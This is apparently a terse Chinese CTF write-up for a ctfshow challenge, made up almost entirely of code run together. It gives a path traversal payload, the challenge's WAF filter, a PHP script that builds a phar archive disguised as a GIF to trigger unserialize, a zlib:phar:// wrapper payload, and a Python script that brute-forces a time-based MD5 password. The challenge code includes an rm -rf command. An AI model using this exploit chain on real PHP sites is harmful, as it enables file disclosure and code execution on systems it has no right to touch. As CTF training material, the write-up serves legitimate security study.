虎山行

/mc-admin/page-edit.php?file=../../../../../../flag

Last updated

/mc-admin/page-edit.php?file=../../../../../../flag

Last updated
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>/ctfshowsecretfilehh/?file=waf.php/mc-admin/page-edit.php?file=../../../ctfshowsecretfilehh/waf.php<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}<?php
class Ctfshow{
public $ctfer = 'shower';
}
@unlink("exp.char");
$phar = new Phar('exp.phar'); //后缀名必须为phar
$phar->startBuffering(); //开始写入
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$object = new Ctfshow();
$phar->setMetadata($object); //将自定义的meta-data存入manifest
$phar->addFromString('test.txt', 'text'); //添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?><?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000) // 小于 2000kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
echo "上传成功,文件存在upload/";
}
}
}
else
{
echo "文件类型仅支持jpg、png、gif等图片格式";
}
?><?php
$filename=substr(md5(strtotime('Wed, 27 Jan 2021 03:56:43 GMT')),0,8);
echo $filename;/ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/d1a86748.gif<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');import hashlib
import requests
import time
def md5(t):
string = str(t)
h = hashlib.md5()
h.update(string.encode())
return h.hexdigest()
url = "http://722cd3fb-690b-47c8-93f6-bc36429d2d7c.chall.ctf.show/"
while True:
pwd = md5(int(time.time()))
unser = 'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"' + pwd + '";}'
params = {'unser': unser}
print(params)
res1 = requests.get(url=url + "ctfshowgetflaghhhh/", params=params)
res2 = requests.get(url=url + "flag.txt")
if res2.text.find("ctfshow") != -1:
print(res2.text)
break